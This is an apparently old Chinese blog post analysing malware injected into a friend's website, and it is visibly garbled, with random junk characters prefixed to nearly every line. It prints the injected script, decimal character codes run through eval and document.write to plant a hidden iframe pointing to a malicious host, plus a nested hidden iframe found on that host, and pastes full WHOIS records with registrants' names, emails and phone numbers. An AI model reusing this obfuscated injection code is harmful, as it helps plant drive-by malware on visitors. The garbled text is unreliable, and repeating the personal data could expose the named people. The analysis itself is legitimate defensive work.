首发在我的博客里面，
N'|zPFk g a\^DthZ!;| http://www.areway.cn/?p=175 u'LA%l- Qz[~{-< !P#lTyz 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
hA)3Ah* ^yjc"r%B <script>t=’60,105,102,114,97,109,101,
"l2_7ZXsPT 32,115,114,99,61,104,116,116,112,58,47,47,
Uu 8Z2M 102,114,101,101,46,117,45,117,117,117,46,99,
a&4>xZU # 110,47,101,114,114,111,114,46,104,116,109,
9A)(K, 32,119,105,100,116,104,61,49,48,48,32,104,
F5{~2~Cw( 101,105,103,104,116,61,48,62,60,47,105,102,
e2 Ba@e- 114,97,109,101,62′;
M9 _h0 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
<86upS6 - C8 h$P <script>t=’60,105,102,114,97,109,101,32,115,
q<.^DO~$L 114,99,61,104,116,116,112,58,47,47,102,114,
A]ciox$AjW 101,101,46,117,45,117,117,117,46,99,110,47,
Y
KeOH 101,114,114,111,114,46,104,116,109,32,119,
GS \- 105,100,116,104,61,49,48,48,32,104,101,105,
js'* :*7 103,104,116,61,48,62,60,47,105,102,114,97,
Kl\A &O*{ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
B1J+`R3OX document.write(t);</script>
Nl PP|=o h"M}Iz~|V? <html xmlns=”
@N"h,(^ http://www.w3.org/1999/xhtml V '\4sP t “>
A:&
`oJl <head>
% UY=VE\F <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
C5 ^_R <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
:n{rVn}G <title>首页 - 爱生活家庭网
6HFA2~A enK4`+.7 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
%\%1EZQ% 转换字符串后的大概内容是（谁点击后果自付）：
,5H$Tm,6\S <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
=}u;>[3 4- N> # 查询玉米u-uuu.cn的详细信息：
pB h [F5 Domain Name: u-uuu.cn
r]"
> ROID: 20070901s10001s64972306-cn
H[fD
> Domain Status: ok
WcbJ4Ore Registrant Organization: 王雷
24>{T5E Registrant Name: 王雷
"n:L< F,g Administrative Email:
czlovexs@126.com 9O~1o?ni Sponsoring Registrar: 北京万网志成科技有限公司
hFs0qPVY Name Server:ns.yovole.com
% [&cy' Name Server:ns1.yovole.com
M\>y&'J- Registration Date: 2007-09-01 17:54
;(TBg-LEK Expiration Date: 2008-09-01 17:54
{b7P1}>-* 最后PING了一下地址 都没有什么….
ZLxe $.V_ 6D/5vM1 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
0 l
G\QT <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
x.>z2. <script language=”javascript” src=”
73 T g{~ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script @ X >
NJLU +b yU 这个玉米应该有可能是木马作者的：
GDZe6* foafau.info的详细信息：
VCkhK9(N Access to INFO WHOIS information is provided to assist persons in
nu4GK}xI determining the contents of a domain name registration record in the
W~Eq_J?I Afilias registry database. The data in this record is provided by
0JK bp*H Afilias Limited for informational purposes only, and Afilias does not
_dIv{ L! guarantee its accuracy. This service is intended only for query-based
~$YFfv>
access. You agree that you will use this data only for lawful purposes
C(7 LwV and that, under no circumstances will you use this data to: (a) allow,
v=iz*2+X enable, or otherwise support the transmission by e-mail, telephone, or
V?0|#=_mE facsimile of mass unsolicited, commercial advertising or solicitations
+twJHf_U to entities other than the data recipient’s own existing customers; or
2px l! (b) enable high volume, automated, electronic processes that send
c]t =# queries or data to the systems of Registry Operator, a Registrar, or
onHUi]yYu{ Afilias except as reasonably necessary to register domain names or
T[~ak"M modify existing registrations. All rights reserved. Afilias reserves
!N?|[n1 the right to modify these terms at any time. By submitting this query,
lf[ ( you agree to abide by this policy.
SI8mr` gJ Domain ID:D22418703-LRMS
w!8h4U.
; Domain Name:FOAFAU.INFO
yrE|cH'f0 Created On:20-Nov-2007 16:05:42 UTC
#e R*|W7o Last Updated On:20-Nov-2007 16:05:44 UTC
v |CRiwx Expiration Date:20-Nov-2008 16:05:42 UTC
`cMa Fc-y/ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
f:= q =i Status:CLIENT DELETE PROHIBITED
[;h@ q} Status:CLIENT RENEW PROHIBITED
qwiM .b5 Status:CLIENT TRANSFER PROHIBITED
i *nNu-g Status:CLIENT UPDATE PROHIBITED
Cp_"PvTmT Status:TRANSFER PROHIBITED
fL'
42 Registrant ID:GODA-040110615
OAc+L dT Registrant Name:liu hong
rF>:pS,`& Registrant Organization:
0waQw7
E Registrant Street1:beijing
CdC&y}u Registrant Street2:
Y[
a$~n^:n Registrant Street3:
:
-te Registrant City:beijing
Ag#p ) Registrant State/Province:
`+Wl
fk ; Registrant Postal Code:100000
'!b 1~+PV Registrant Country:CN
2 {|
U Registrant Phone:+86.860108888777
{CYFM[V Registrant Phone Ext.:
WSW aq\9]8 Registrant FAX:
xzAyE5GL> Registrant FAX Ext.:
G\r u% Registrant Email:bbbshiji@163.com
4B^f"6' Admin ID:GODA-240110615
#e{l:!uS\ Admin Name:liu hong
-jFvDf,M,D Admin Organization:
1vx:`2 A4 Admin Street1:beijing
D)K/zh) Admin Street2:
#L` @[" Admin Street3:
mj{TqF Admin City:beijing
P!0uAkt9C Admin State/Province:
&3:-(:<U Admin Postal Code:100000
~%bz2Pd% Admin Country:CN
Z ZX|MA! Admin Phone:+86.860108888777
L: }hZf{p* Admin Phone Ext.:
K.JKE"j)d Admin FAX:
6L}$R`s5H Admin FAX Ext.:
X8GIRL)l J Admin Email:bbbshiji@163.com
LW{7|g Billing ID:GODA-340110615
BwEO2a{ Billing Name:liu hong
oDrfzm|[Y Billing Organization:
W{*U#:Jx1 Billing Street1:beijing
Cz#0Gh >1 Billing Street2:
J)"2^?!&B Billing Street3:
4`7N}$j#, Billing City:beijing
T oTehVw Billing State/Province:
}} J?, >g Billing Postal Code:100000
-2{NI.-Xd Billing Country:CN
~*79rDs{ Billing Phone:+86.860108888777
;w a- \Z Billing Phone Ext.:
|~Z.l Billing FAX:
Hca vA{H Billing FAX Ext.:
@/9#Z4&d0 Billing Email:bbbshiji@163.com
&'TZU"_ Tech ID:GODA-140110615
Y[R veF Tech Name:liu hong
7;2j^qPr Tech Organization:
qRZ v[T%*Q Tech Street1:beijing
&7VN?ox1 Tech Street2:
I} q2)@ Tech Street3:
| (JxtQqQg Tech City:beijing
- 0R5g3^*/ Tech State/Province:
3X=9$xw_ Tech Postal Code:100000
P<ElH 3J` Tech Country:CN
m(i8 4~ Tech Phone:+86.860108888777
W8z4<o[$ Tech Phone Ext.:
Vzn0 ; Tech FAX:
;4>YPH Tech FAX Ext.:
ePv3M&\J Tech Email:bbbshiji@163.com
?x1sm"]p' Name Server:NS27.DOMAINCONTROL.COM
q^; SZ^yW5 Name Server:NS28.DOMAINCONTROL.COM
@a$_F3W Name Server:
Z$LWZ g Name Server:
BZ* ',\o Name Server:
Q3[MzIk 4 Name Server:
t(AW2{% } Name Server:
b"H c==` Name Server:
X6)%2TwO Name Server:
R/ix ,GC Name Server:
P{fT5K| Name Server:
p!B& &)&db Name Server:
M(8dKj1+ Name Server:
;-sZaU; 10R#} ~D 接着下载每个文件里面的代码：
5.! O C5tO 一步一步看..
17P 5D r& 
Z.'j7(tu 
D+m#_'ocL 
|y1O M 
XuS3#L/3p 
]8@s+ N 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
